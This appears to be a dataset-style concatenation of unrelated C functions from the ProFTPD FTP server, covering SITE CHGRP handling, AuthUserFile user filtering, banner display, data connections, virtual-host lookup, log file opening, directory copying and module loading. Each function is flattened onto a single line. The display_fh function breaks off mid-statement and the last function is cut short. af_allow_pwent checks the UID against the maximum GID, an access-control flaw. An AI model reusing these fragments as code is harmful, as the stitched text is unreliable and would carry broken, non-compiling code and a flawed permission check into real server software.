MODRET site_chgrp(cmd_rec *cmd) { int res; gid_t gid; char *path = NULL, *tmp = NULL, *arg = ""; struct stat st; register unsigned int i = 0; #ifdef PR_USE_REGEX pr_regex_t *pre; #endif if (cmd->argc < 3) { pr_response_add_err(R_500, _("'SITE %s' not understood"), _get_full_cmd(cmd)); return NULL; } /* Construct the target file name by concatenating all the parameters after * the mode, separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("SITE %s: Illegal character sequence in command"), (char *) cmd->argv[1]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", decoded_path, NULL); } #ifdef PR_USE_REGEX pre = get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) != 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathAllowFilter", (char *) cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } pre = get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) == 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathDenyFilter", (char *) cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } #endif if (pr_fsio_lstat(arg, &st) == 0) { if (S_ISLNK(st.st_mode)) { char link_path[PR_TUNABLE_PATH_MAX]; int len; memset(link_path, '\0', sizeof(link_path)); len = dir_readlink(cmd->tmp_pool, arg, link_path, sizeof(link_path)-1, PR_DIR_READLINK_FL_HANDLE_REL_PATH); if (len > 0) { link_path[len] = '\0'; arg = pstrdup(cmd->tmp_pool, link_path); } } } path = dir_realpath(cmd->tmp_pool, arg); if (path == NULL) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } /* Map the given group argument, if a string, to a GID. If already a * number, pass through as is. */ gid = strtoul(cmd->argv[1], &tmp, 10); if (tmp && *tmp) { /* Try the parameter as a group name. */ gid = pr_auth_name2gid(cmd->tmp_pool, cmd->argv[1]); if (gid == (gid_t) -1) { int xerrno = EINVAL; pr_log_debug(DEBUG9, "SITE CHGRP: Unable to resolve group name '%s' to GID", (char *) cmd->argv[1]); pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } } res = core_chgrp(cmd, path, (uid_t) -1, gid); if (res < 0) { int xerrno = errno; (void) pr_trace_msg("fileperms", 1, "%s, user '%s' (UID %s, GID %s): " "error chown'ing '%s' to GID %s: %s", (char *) cmd->argv[0], session.user, pr_uid2str(cmd->tmp_pool, session.uid), pr_gid2str(cmd->tmp_pool, session.gid), path, pr_gid2str(cmd->tmp_pool, gid), strerror(xerrno)); pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_response_add(R_200, _("SITE %s command successful"), (char *) cmd->argv[0]); return PR_HANDLED(cmd); }
static int af_allow_pwent(pool *p, struct passwd *pwd) { if (af_user_file == NULL) { errno = EPERM; return -1; } /* Check that the pwent is within the ID restrictions (if present). */ if (af_user_file->af_restricted_ids) { if (pwd->pw_uid < af_user_file->af_min_id.uid) { pr_log_debug(DEBUG3, MOD_AUTH_FILE_VERSION ": skipping user '%s': " "UID %s below the minimum allowed (%s)", pwd->pw_name, pr_uid2str(p, pwd->pw_uid), pr_uid2str(p, af_user_file->af_min_id.uid)); errno = EINVAL; return -1; } if (pwd->pw_uid > af_user_file->af_max_id.gid) { pr_log_debug(DEBUG3, MOD_AUTH_FILE_VERSION ": skipping user '%s': " "UID %s above the maximum allowed (%s)", pwd->pw_name, pr_uid2str(p, pwd->pw_uid), pr_uid2str(p, af_user_file->af_max_id.uid)); errno = EINVAL; return -1; } } #ifdef PR_USE_REGEX /* Check if the pwent has an acceptable name. */ if (af_user_file->af_restricted_names) { int res; res = pr_regexp_exec(af_user_file->af_name_regex, pwd->pw_name, 0, NULL, 0, 0, 0); if ((res != 0 && !af_user_file->af_name_regex_inverted) || (res == 0 && af_user_file->af_name_regex_inverted)) { pr_log_debug(DEBUG3, MOD_AUTH_FILE_VERSION ": skipping user '%s': " "name '%s' does not meet allowed filter '%s'", pwd->pw_name, pwd->pw_name, af_user_file->af_name_filter); errno = EINVAL; return -1; } } /* Check if the pwent has an acceptable home directory. */ if (af_user_file->af_restricted_homes) { int res; res = pr_regexp_exec(af_user_file->af_home_regex, pwd->pw_dir, 0, NULL, 0, 0, 0); if ((res != 0 && !af_user_file->af_home_regex_inverted) || (res == 0 && af_user_file->af_home_regex_inverted)) { pr_log_debug(DEBUG3, MOD_AUTH_FILE_VERSION ": skipping user '%s': " "home '%s' does not meet allowed filter '%s'", pwd->pw_name, pwd->pw_dir, af_user_file->af_home_filter); errno = EINVAL; return -1; } } #endif /* regex support */ return 0; }
void pr_session_send_banner(server_rec *s, int flags) { config_rec *c = NULL; char *display = NULL; const char *serveraddress = NULL; config_rec *masq = NULL; display = get_param_ptr(s->conf, "DisplayConnect", FALSE); if (display != NULL) { if (pr_display_file(display, NULL, R_220, flags) < 0) { pr_log_debug(DEBUG6, "unable to display DisplayConnect file '%s': %s", display, strerror(errno)); } } serveraddress = pr_netaddr_get_ipstr(session.c->local_addr); masq = find_config(s->conf, CONF_PARAM, "MasqueradeAddress", FALSE); if (masq != NULL) { pr_netaddr_t *masq_addr = (pr_netaddr_t *) masq->argv[0]; serveraddress = pr_netaddr_get_ipstr(masq_addr); } c = find_config(s->conf, CONF_PARAM, "ServerIdent", FALSE); if (c == NULL || *((unsigned char *) c->argv[0]) == TRUE) { unsigned char *defer_welcome; defer_welcome = get_param_ptr(s->conf, "DeferWelcome", FALSE); if (c && c->argc > 1) { char *server_ident = c->argv[1]; if (strstr(server_ident, "%L") != NULL) { server_ident = sreplace(session.pool, server_ident, "%L", serveraddress, NULL); } if (strstr(server_ident, "%V") != NULL) { server_ident = sreplace(session.pool, server_ident, "%V", main_server->ServerFQDN, NULL); } if (strstr(server_ident, "%v") != NULL) { server_ident = sreplace(session.pool, server_ident, "%v", main_server->ServerName, NULL); } if (flags & PR_DISPLAY_FL_SEND_NOW) { pr_response_send(R_220, "%s", server_ident); } else { pr_response_add(R_220, "%s", server_ident); } } else if (defer_welcome && *defer_welcome == TRUE) { if (flags & PR_DISPLAY_FL_SEND_NOW) { pr_response_send(R_220, "ProFTPD " PROFTPD_VERSION_TEXT " Server ready."); } else { pr_response_add(R_220, "ProFTPD " PROFTPD_VERSION_TEXT " Server ready."); } } else { if (flags & PR_DISPLAY_FL_SEND_NOW) { pr_response_send(R_220, "ProFTPD " PROFTPD_VERSION_TEXT " Server (%s) [%s]", s->ServerName, serveraddress); } else { pr_response_add(R_220, "ProFTPD " PROFTPD_VERSION_TEXT " Server (%s) [%s]", s->ServerName, serveraddress); } } } else { if (flags & PR_DISPLAY_FL_SEND_NOW) { pr_response_send(R_220, _("%s FTP server ready"), serveraddress); } else { pr_response_add(R_220, _("%s FTP server ready"), serveraddress); } } }
static int display_fh(pr_fh_t *fh, const char *fs, const char *code, int flags) { struct stat st; char buf[PR_TUNABLE_BUFFER_SIZE] = {'\0'}; int len, res; unsigned int *current_clients = NULL; unsigned int *max_clients = NULL; off_t fs_size = 0; pool *p; void *v; xaset_t *s; config_rec *c = NULL; const char *serverfqdn = main_server->ServerFQDN; char *outs, mg_size[12] = {'\0'}, mg_size_units[12] = {'\0'}, mg_max[12] = "unlimited"; char total_files_in[12] = {'\0'}, total_files_out[12] = {'\0'}, total_files_xfer[12] = {'\0'}; char mg_class_limit[12] = {'\0'}, mg_cur[12] = {'\0'}, mg_xfer_bytes[12] = {'\0'}, mg_cur_class[12] = {'\0'}; char mg_xfer_units[12] = {'\0'}, *user; const char *mg_time; char *rfc1413_ident = NULL; /* Stat the opened file to determine the optimal buffer size for IO. */ memset(&st, 0, sizeof(st)); if (pr_fsio_fstat(fh, &st) == 0) { fh->fh_iosz = st.st_blksize; } /* Note: The size provided by pr_fs_getsize() is in KB, not bytes. */ res = pr_fs_fgetsize(fh->fh_fd, &fs_size); if (res < 0 && errno != ENOSYS) { (void) pr_log_debug(DEBUG7, "error getting filesystem size for '%s': %s", fh->fh_path, strerror(errno)); fs_size = 0; } snprintf(mg_size, sizeof(mg_size), "%" PR_LU, (pr_off_t) fs_size); format_size_str(mg_size_units, sizeof(mg_size_units), fs_size); p = make_sub_pool(session.pool); pr_pool_tag(p, "Display Pool"); s = (session.anon_config ? session.anon_config->subset : main_server->conf); mg_time = pr_strtime(time(NULL)); max_clients = get_param_ptr(s, "MaxClients", FALSE); v = pr_table_get(session.notes, "client-count", NULL); if (v) { current_clients = v; } snprintf(mg_cur, sizeof(mg_cur), "%u", current_clients ? *current_clients: 1); if (session.conn_class != NULL && session.conn_class->cls_name != NULL) { unsigned int *class_clients = NULL; config_rec *maxc = NULL; unsigned int maxclients = 0; v = pr_table_get(session.notes, "class-client-count", NULL); if (v) { class_clients = v; } snprintf(mg_cur_class, sizeof(mg_cur_class), "%u", class_clients ? *class_clients : 0); /* For the %z variable, first we scan through the MaxClientsPerClass, * and use the first applicable one. If none are found, look for * any MaxClients set. */ maxc = find_config(main_server->conf, CONF_PARAM, "MaxClientsPerClass", FALSE); while (maxc) { pr_signals_handle(); if (strcmp(maxc->argv[0], session.conn_class->cls_name) != 0) { maxc = find_config_next(maxc, maxc->next, CONF_PARAM, "MaxClientsPerClass", FALSE); continue; } maxclients = *((unsigned int *) maxc->argv[1]); break; } if (maxclients == 0) { maxc = find_config(main_server->conf, CONF_PARAM, "MaxClients", FALSE); if (maxc) maxclients = *((unsigned int *) maxc->argv[0]); } snprintf(mg_class_limit, sizeof(mg_class_limit), "%u", maxclients); } else { snprintf(mg_class_limit, sizeof(mg_class_limit), "%u", max_clients ? *max_clients : 0); snprintf(mg_cur_class, sizeof(mg_cur_class), "%u", 0); } snprintf(mg_xfer_bytes, sizeof(mg_xfer_bytes), "%" PR_LU, (pr_off_t) session.total_bytes >> 10); snprintf(mg_xfer_units, sizeof(mg_xfer_units), "%" PR_LU "B", (pr_off_t) session.total_bytes); if (session.total_bytes >= 10240) { snprintf(mg_xfer_units, sizeof(mg_xfer_units), "%" PR_LU "kB", (pr_off_t) session.total_bytes >> 10); } else if ((session.total_bytes >> 10) >= 10240) {
/* Per Bug#4171, if we see EINVAL (or EPERM, as documented in same man pages), * check the /proc/sys/crypto/fips_enabled setting and the salt string, to see * if an unsupported algorithm in FIPS mode, e.g. DES or MD5, was used to * generate this salt string. * * There's not much we can do at this point other than log a message for the * admin that this is the case, and let them know how to fix things (if they * can). Ultimately this breakage comes from those kind folks distributing * glibc. Sigh. */ static void check_unsupported_algo(const char *user, const char *ciphertxt_pass, size_t ciphertxt_passlen) { FILE *fp = NULL; char fips_enabled[256]; size_t len = 0, sz = 0; /* First, read in /proc/sys/crypto/fips_enabled. */ fp = fopen("/proc/sys/crypto/fips_enabled", "r"); if (fp == NULL) { pr_trace_msg(trace_channel, 4, "unable to open /proc/sys/crypto/fips_enabled: %s", strerror(errno)); return; } memset(fips_enabled, '\0', sizeof(fips_enabled)); sz = sizeof(fips_enabled)-1; len = fread(fips_enabled, 1, sz, fp); if (len == 0) { if (feof(fp)) { /* An empty /proc/sys/crypto/fips_enabled? Weird. */ pr_trace_msg(trace_channel, 4, "/proc/sys/crypto/fips_enabled is unexpectedly empty!"); } else if (ferror(fp)) { pr_trace_msg(trace_channel, 4, "error reading /proc/sys/crypto/fips_enabled: %s", strerror(errno)); } fclose(fp); return; } fclose(fp); /* Trim any newline. */ if (fips_enabled[len-1] == '\n') { fips_enabled[len-1] = '\0'; } if (strcmp(fips_enabled, "0") != 0) { /* FIPS mode enabled on this system. If our salt string doesn't start * with a '$', it uses DES; if it starts wit '$1$', it uses MD5. Either * way, on a FIPS-enabled system, those algorithms aren't supported. */ if (ciphertxt_pass[0] != '$') { /* DES */ pr_log_pri(PR_LOG_ERR, MOD_AUTH_FILE_VERSION ": AuthUserFile entry for user '%s' uses DES, which is not supported " "on a FIPS-enabled system (see /proc/sys/crypto/fips_enabled)", user); pr_log_pri(PR_LOG_ERR, MOD_AUTH_FILE_VERSION ": recommend updating user '%s' entry to use SHA256/SHA512 " "(using ftpasswd --sha256/--sha512)", user); } else if (ciphertxt_passlen >= 3 && strncmp(ciphertxt_pass, "$1$", 3) == 0) { /* MD5 */ pr_log_pri(PR_LOG_ERR, MOD_AUTH_FILE_VERSION ": AuthUserFile entry for user '%s' uses MD5, which is not supported " "on a FIPS-enabled system (see /proc/sys/crypto/fips_enabled)", user); pr_log_pri(PR_LOG_ERR, MOD_AUTH_FILE_VERSION ": recommend updating user '%s' entry to use SHA256/SHA512 " "(using ftpasswd --sha256/--sha512)", user); } else { pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION ": possible illegal salt characters in AuthUserFile entry " "for user '%s'?", user); } } else { /* The only other time crypt(3) would return EINVAL/EPERM, on a system * with procfs, is if the salt characters were illegal. Right? */ pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION ": possible illegal salt characters in AuthUserFile entry for " "user '%s'?", user); } }
static int data_active_open(char *reason, off_t size) { conn_t *c; int rev; pr_netaddr_t *bind_addr; if (!reason && session.xfer.filename) reason = session.xfer.filename; if (pr_netaddr_get_family(session.c->local_addr) == pr_netaddr_get_family(session.c->remote_addr)) { bind_addr = session.c->local_addr; } else { /* In this scenario, the server has an IPv6 socket, but the remote client * is an IPv4 (or IPv4-mapped IPv6) peer. */ bind_addr = pr_netaddr_v6tov4(session.xfer.p, session.c->local_addr); } session.d = pr_inet_create_conn(session.pool, -1, bind_addr, session.c->local_port-1, TRUE); /* Set the "stalled" timer, if any, to prevent the connection * open from taking too long */ if (timeout_stalled) { pr_timer_add(timeout_stalled, PR_TIMER_STALLED, NULL, stalled_timeout_cb, "TimeoutStalled"); } rev = pr_netaddr_set_reverse_dns(ServerUseReverseDNS); /* Protocol and socket options should be set before handshaking. */ if (session.xfer.direction == PR_NETIO_IO_RD) { pr_inet_set_socket_opts(session.d->pool, session.d, (main_server->tcp_rcvbuf_override ? main_server->tcp_rcvbuf_len : 0), 0); } else { pr_inet_set_socket_opts(session.d->pool, session.d, 0, (main_server->tcp_sndbuf_override ? main_server->tcp_sndbuf_len : 0)); } /* Make sure that the necessary socket options are set on the socket prior * to the call to connect(2). */ pr_inet_set_proto_opts(session.pool, session.d, main_server->tcp_mss_len, 0, IPTOS_THROUGHPUT, 1); pr_inet_generate_socket_event("core.data-connect", main_server, session.d->local_addr, session.d->listen_fd); if (pr_inet_connect(session.d->pool, session.d, &session.data_addr, session.data_port) == -1) { pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; } c = pr_inet_openrw(session.pool, session.d, NULL, PR_NETIO_STRM_DATA, session.d->listen_fd, -1, -1, TRUE); pr_netaddr_set_reverse_dns(rev); if (c) { pr_log_debug(DEBUG4, "active data connection opened - local : %s:%d", pr_netaddr_get_ipstr(session.d->local_addr), session.d->local_port); pr_log_debug(DEBUG4, "active data connection opened - remote : %s:%d", pr_netaddr_get_ipstr(session.d->remote_addr), session.d->remote_port); if (session.xfer.xfer_type != STOR_UNIQUE) { if (size) pr_response_send(R_150, _("Opening %s mode data connection for %s " "(%" PR_LU " bytes)"), MODE_STRING, reason, (pr_off_t) size); else pr_response_send(R_150, _("Opening %s mode data connection for %s"), MODE_STRING, reason); } else { /* Format of 150 responses for STOU is explicitly dictated by * RFC 1123: * * 4.1.2.9 STOU Command: RFC-959 Section 4.1.3 * * The STOU command stores into a uniquely named file. When it * receives an STOU command, a Server-FTP MUST return the * actual file name in the "125 Transfer Starting" or the "150 * Opening Data Connection" message that precedes the transfer * (the 250 reply code mentioned in RFC-959 is incorrect). The * exact format of these messages is hereby defined to be as * follows: * * 125 FILE: pppp * 150 FILE: pppp * * where pppp represents the unique pathname of the file that * will be written. */ pr_response_send(R_150, "FILE: %s", reason); } pr_inet_close(session.pool, session.d); pr_inet_set_nonblock(session.pool, session.d); session.d = c; return 0; } pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; }
server_rec *pr_ipbind_get_server(const pr_netaddr_t *addr, unsigned int port) { pr_ipbind_t *ipbind = NULL; pr_netaddr_t wildcard_addr; int addr_family; unsigned int match_count = 0; /* If we've got a binding configured for this exact address, return it * straightaway. */ ipbind = pr_ipbind_find(addr, port, TRUE); if (ipbind != NULL) { return ipbind->ib_server; } /* Look for a vhost bound to the wildcard address (i.e. INADDR_ANY). * * This allows for "<VirtualHost 0.0.0.0>" configurations, where the * IP address to which the client might connect is not known at * configuration time. (Usually happens when the same config file * is deployed to multiple machines.) */ addr_family = pr_netaddr_get_family(addr); pr_netaddr_clear(&wildcard_addr); pr_netaddr_set_family(&wildcard_addr, addr_family); pr_netaddr_set_sockaddr_any(&wildcard_addr); ipbind = pr_ipbind_find(&wildcard_addr, port, TRUE); if (ipbind != NULL) { pr_log_debug(DEBUG7, "no matching vhost found for %s#%u, using " "'%s' listening on wildcard address", pr_netaddr_get_ipstr(addr), port, ipbind->ib_server->ServerName); return ipbind->ib_server; } else { #ifdef PR_USE_IPV6 if (addr_family == AF_INET6 && pr_netaddr_use_ipv6()) { /* The pr_ipbind_find() probably returned NULL because there aren't any * <VirtualHost> sections configured explicitly for the wildcard IPv6 * address of "::", just the IPv4 wildcard "0.0.0.0" address. * * So try the pr_ipbind_find() again, this time using the IPv4 * wildcard. */ pr_netaddr_clear(&wildcard_addr); pr_netaddr_set_family(&wildcard_addr, AF_INET); pr_netaddr_set_sockaddr_any(&wildcard_addr); ipbind = pr_ipbind_find(&wildcard_addr, port, TRUE); if (ipbind != NULL) { pr_log_debug(DEBUG7, "no matching vhost found for %s#%u, using " "'%s' listening on wildcard address", pr_netaddr_get_ipstr(addr), port, ipbind->ib_server->ServerName); return ipbind->ib_server; } } #endif /* PR_USE_IPV6 */ } /* Check for any bindings that match the port. IF there is only one ONE * vhost which matches the requested port, use that (Bug#4251). */ ipbind = ipbind_find_port(port, TRUE, &match_count); if (ipbind != NULL) { pr_trace_msg(trace_channel, 18, "found %u possible %s for port %u", match_count, match_count != 1 ? "ipbinds" : "ipbind", port); if (match_count == 1) { return ipbind->ib_server; } } /* Use the default server, if set. */ if (ipbind_default_server && ipbind_default_server->ib_isactive) { pr_log_debug(DEBUG7, "no matching vhost found for %s#%u, using " "DefaultServer '%s'", pr_netaddr_get_ipstr(addr), port, ipbind_default_server->ib_server->ServerName); return ipbind_default_server->ib_server; } /* Not found in binding list, and no DefaultServer, so see if it's the * loopback address */ if (ipbind_localhost_server && pr_netaddr_is_loopback(addr)) { return ipbind_localhost_server->ib_server; } return NULL; }
int pr_log_openfile(const char *log_file, int *log_fd, mode_t log_mode) { int res; pool *tmp_pool = NULL; char *ptr = NULL, *lf; unsigned char have_stat = FALSE, *allow_log_symlinks = NULL; struct stat st; /* Sanity check */ if (log_file == NULL || log_fd == NULL) { errno = EINVAL; return -1; } /* Make a temporary copy of log_file in case it's a constant */ tmp_pool = make_sub_pool(permanent_pool); pr_pool_tag(tmp_pool, "log_openfile() tmp pool"); lf = pstrdup(tmp_pool, log_file); ptr = strrchr(lf, '/'); if (ptr == NULL) { pr_log_debug(DEBUG0, "inappropriate log file: %s", lf); destroy_pool(tmp_pool); errno = EINVAL; return -1; } /* Set the path separator to zero, in order to obtain the directory * name, so that checks of the directory may be made. */ if (ptr != lf) { *ptr = '\0'; } if (stat(lf, &st) < 0) { int xerrno = errno; pr_log_debug(DEBUG0, "error: unable to stat() %s: %s", lf, strerror(errno)); destroy_pool(tmp_pool); errno = xerrno; return -1; } /* The path must be in a valid directory */ if (!S_ISDIR(st.st_mode)) { pr_log_debug(DEBUG0, "error: %s is not a directory", lf); destroy_pool(tmp_pool); errno = ENOTDIR; return -1; } /* Do not log to world-writable directories */ if (st.st_mode & S_IWOTH) { pr_log_pri(PR_LOG_NOTICE, "error: %s is a world-writable directory", lf); destroy_pool(tmp_pool); return PR_LOG_WRITABLE_DIR; } /* Restore the path separator so that checks on the file itself may be * done. */ if (ptr != lf) { *ptr = '/'; } allow_log_symlinks = get_param_ptr(main_server->conf, "AllowLogSymlinks", FALSE); if (allow_log_symlinks == NULL || *allow_log_symlinks == FALSE) { int flags = O_APPEND|O_CREAT|O_WRONLY; #ifdef PR_USE_NONBLOCKING_LOG_OPEN /* Use the O_NONBLOCK flag when opening log files, as they might be * FIFOs whose other end is not currently running; we do not want to * block indefinitely in such cases. */ flags |= O_NONBLOCK; #endif /* PR_USE_NONBLOCKING_LOG_OPEN */ #ifdef O_NOFOLLOW /* On systems that support the O_NOFOLLOW flag (e.g. Linux and FreeBSD), * use it so that the path being opened, if it is a symlink, is not * followed. */ flags |= O_NOFOLLOW; #elif defined(SOLARIS2) /* Solaris doesn't support the O_NOFOLLOW flag. Instead, in their * wisdom (hah!), Solaris decided that if the given path is a symlink * and the flags O_CREAT and O_EXCL are set, the link is not followed. * Right. The problem here is the case where the path is not a symlink; * using O_CREAT|O_EXCL will then cause the open() to fail if the * file already exists. */ flags |= O_EXCL; #endif /* O_NOFOLLOW or SOLARIS2 */ *log_fd = open(lf, flags, log_mode); if (*log_fd < 0) { if (errno != EEXIST) { destroy_pool(tmp_pool); /* More portability fun: Linux likes to report ELOOP if O_NOFOLLOW * is used to open a symlink file; FreeBSD likes to return EMLINK. * Both would lead to rather misleading error messages being * logged. Catch these errnos, and return the value that properly * informs the caller that the given path was an illegal symlink. */ switch (errno) { #ifdef ELOOP case ELOOP: return PR_LOG_SYMLINK; #endif /* ELOOP */ #ifdef EMLINK case EMLINK: return PR_LOG_SYMLINK; #endif /* EMLINK */ } return -1; } else { #if defined(SOLARIS2) /* On Solaris, because of the stupid multiplexing of O_CREAT and * O_EXCL to get open() not to follow a symlink, it's possible that * the path already exists. Now, we'll try to open() without * O_EXCL, then lstat() the path to see if this pre-existing file is * a symlink or a regular file. * * Note that because this check cannot be done atomically on Solaris, * the possibility of a race condition/symlink attack still exists. * Solaris doesn't provide a good way around this situation. */ flags &= ~O_EXCL; *log_fd = open(lf, flags, log_mode); if (*log_fd < 0) { destroy_pool(tmp_pool); return -1; } /* The race condition on Solaris is here, between the open() call * above and the lstat() call below... */ if (lstat(lf, &st) != -1) have_stat = TRUE; #else destroy_pool(tmp_pool); return -1; #endif /* SOLARIS2 */ } } /* Stat the file using the descriptor, not the path */ if (!have_stat && fstat(*log_fd, &st) != -1) { have_stat = TRUE; } if (!have_stat || S_ISLNK(st.st_mode)) { pr_log_debug(DEBUG0, !have_stat ? "error: unable to stat %s" : "error: %s is a symbolic link", lf); close(*log_fd); *log_fd = -1; destroy_pool(tmp_pool); return PR_LOG_SYMLINK; } } else { int flags = O_CREAT|O_APPEND|O_WRONLY; #ifdef PR_USE_NONBLOCKING_LOG_OPEN /* Use the O_NONBLOCK flag when opening log files, as they might be * FIFOs whose other end is not currently running; we do not want to * block indefinitely in such cases. */ flags |= O_NONBLOCK; #endif /* PR_USE_NONBLOCKING_LOG_OPEN */ *log_fd = open(lf, flags, log_mode); if (*log_fd < 0) { int xerrno = errno; destroy_pool(tmp_pool); errno = xerrno; return -1; } } /* Make sure we're dealing with an expected file type (i.e. NOT a * directory). */ if (fstat(*log_fd, &st) < 0) { int xerrno = errno; pr_log_debug(DEBUG0, "error: unable to stat %s (fd %d): %s", lf, *log_fd, strerror(xerrno)); close(*log_fd); *log_fd = -1; destroy_pool(tmp_pool); errno = xerrno; return -1; } if (S_ISDIR(st.st_mode)) { int xerrno = EISDIR; pr_log_debug(DEBUG0, "error: unable to use %s: %s", lf, strerror(xerrno)); close(*log_fd); *log_fd = -1; destroy_pool(tmp_pool); errno = xerrno; return -1; } /* Find a usable fd for the just-opened log fd. */ if (*log_fd <= STDERR_FILENO) { res = pr_fs_get_usable_fd(*log_fd); if (res < 0) { pr_log_debug(DEBUG0, "warning: unable to find good fd for logfd %d: %s", *log_fd, strerror(errno)); } else { close(*log_fd); *log_fd = res; } } if (fcntl(*log_fd, F_SETFD, FD_CLOEXEC) < 0) { pr_log_pri(PR_LOG_WARNING, "unable to set CLO_EXEC on log fd %d: %s", *log_fd, strerror(errno)); } #ifdef PR_USE_NONBLOCKING_LOG_OPEN /* Return the fd to blocking mode. */ (void) fd_set_block(*log_fd); #endif /* PR_USE_NONBLOCKING_LOG_OPEN */ destroy_pool(tmp_pool); return 0; }
static int copy_dir(pool *p, const char *src_dir, const char *dst_dir) { DIR *dh = NULL; struct dirent *dent = NULL; int res = 0; pool *iter_pool = NULL; dh = opendir(src_dir); if (dh == NULL) { pr_log_pri(PR_LOG_WARNING, MOD_COPY_VERSION ": error reading directory '%s': %s", src_dir, strerror(errno)); return -1; } while ((dent = readdir(dh)) != NULL) { struct stat st; char *src_path, *dst_path; pr_signals_handle(); /* Skip "." and ".." */ if (strncmp(dent->d_name, ".", 2) == 0 || strncmp(dent->d_name, "..", 3) == 0) { continue; } if (iter_pool != NULL) { destroy_pool(iter_pool); } iter_pool = pr_pool_create_sz(p, 128); src_path = pdircat(iter_pool, src_dir, dent->d_name, NULL); dst_path = pdircat(iter_pool, dst_dir, dent->d_name, NULL); if (pr_fsio_lstat(src_path, &st) < 0) { pr_log_debug(DEBUG3, MOD_COPY_VERSION ": unable to stat '%s' (%s), skipping", src_path, strerror(errno)); continue; } /* Is this path to a directory? */ if (S_ISDIR(st.st_mode)) { if (create_path(iter_pool, dst_path) < 0) { res = -1; break; } if (copy_dir(iter_pool, src_path, dst_path) < 0) { res = -1; break; } continue; /* Is this path to a regular file? */ } else if (S_ISREG(st.st_mode)) { cmd_rec *cmd; /* Dispatch fake COPY command, e.g. for mod_quotatab */ cmd = pr_cmd_alloc(iter_pool, 4, pstrdup(iter_pool, "SITE"), pstrdup(iter_pool, "COPY"), pstrdup(iter_pool, src_path), pstrdup(iter_pool, dst_path)); cmd->arg = pstrcat(iter_pool, "COPY ", src_path, " ", dst_path, NULL); cmd->cmd_class = CL_WRITE; pr_response_clear(&resp_list); pr_response_clear(&resp_err_list); if (pr_cmd_dispatch_phase(cmd, PRE_CMD, 0) < 0) { int xerrno = errno; pr_log_debug(DEBUG3, MOD_COPY_VERSION ": COPY of '%s' to '%s' blocked by COPY handler: %s", src_path, dst_path, strerror(xerrno)); pr_cmd_dispatch_phase(cmd, POST_CMD_ERR, 0); pr_cmd_dispatch_phase(cmd, LOG_CMD_ERR, 0); pr_response_clear(&resp_err_list); errno = xerrno; res = -1; break; } else { if (pr_fs_copy_file(src_path, dst_path) < 0) { pr_cmd_dispatch_phase(cmd, POST_CMD_ERR, 0); pr_cmd_dispatch_phase(cmd, LOG_CMD_ERR, 0); pr_response_clear(&resp_err_list); res = -1; break; } else { char *abs_path; pr_cmd_dispatch_phase(cmd, POST_CMD, 0); pr_cmd_dispatch_phase(cmd, LOG_CMD, 0); pr_response_clear(&resp_list); /* Write a TransferLog entry as well. */ pr_fs_clear_cache2(dst_path); pr_fsio_stat(dst_path, &st); abs_path = dir_abs_path(p, dst_path, TRUE); if (session.sf_flags & SF_ANON) { xferlog_write(0, session.c->remote_name, st.st_size, abs_path, (session.sf_flags & SF_ASCII ? 'a' : 'b'), 'd', 'a', session.anon_user, 'c', "_"); } else { xferlog_write(0, session.c->remote_name, st.st_size, abs_path, (session.sf_flags & SF_ASCII ? 'a' : 'b'), 'd', 'r', session.user, 'c', "_"); } } } continue; /* Is this path a symlink? */ } else if (S_ISLNK(st.st_mode)) { if (copy_symlink(iter_pool, src_path, dst_path) < 0) { res = -1; break; } continue; /* All other file types are skipped */ } else { pr_log_debug(DEBUG3, MOD_COPY_VERSION ": skipping supported file '%s'", src_path); continue; } } if (iter_pool != NULL) { destroy_pool(iter_pool); } closedir(dh); return res; }
static int dso_load_module(char *name) { int res; char *symbol_name, *path, *tmp; module *m; lt_ptr mh = NULL; lt_dladvise advise; if (name == NULL) { errno = EINVAL; return -1; } if (strncmp(name, "mod_", 4) != 0 || name[strlen(name)-2] != '.' || name[strlen(name)-1] != 'c') { errno = EINVAL; return -1; } pr_log_debug(DEBUG7, "loading '%s'", name); tmp = strrchr(name, '.'); if (tmp == NULL) { errno = EINVAL; return -1; } if (lt_dladvise_init(&advise) < 0) { pr_log_pri(PR_LOG_NOTICE, MOD_DSO_VERSION ": unable to initialise advise: %s", lt_dlerror()); errno = EPERM; return -1; } if (lt_dladvise_ext(&advise) < 0) { pr_log_pri(PR_LOG_NOTICE, MOD_DSO_VERSION ": unable to setting 'ext' advise hint: %s", lt_dlerror()); lt_dladvise_destroy(&advise); errno = EPERM; return -1; } if (lt_dladvise_global(&advise) < 0) { pr_log_pri(PR_LOG_NOTICE, MOD_DSO_VERSION ": unable to setting 'global' advise hint: %s", lt_dlerror()); lt_dladvise_destroy(&advise); errno = EPERM; return -1; } *tmp = '\0'; /* Load file: 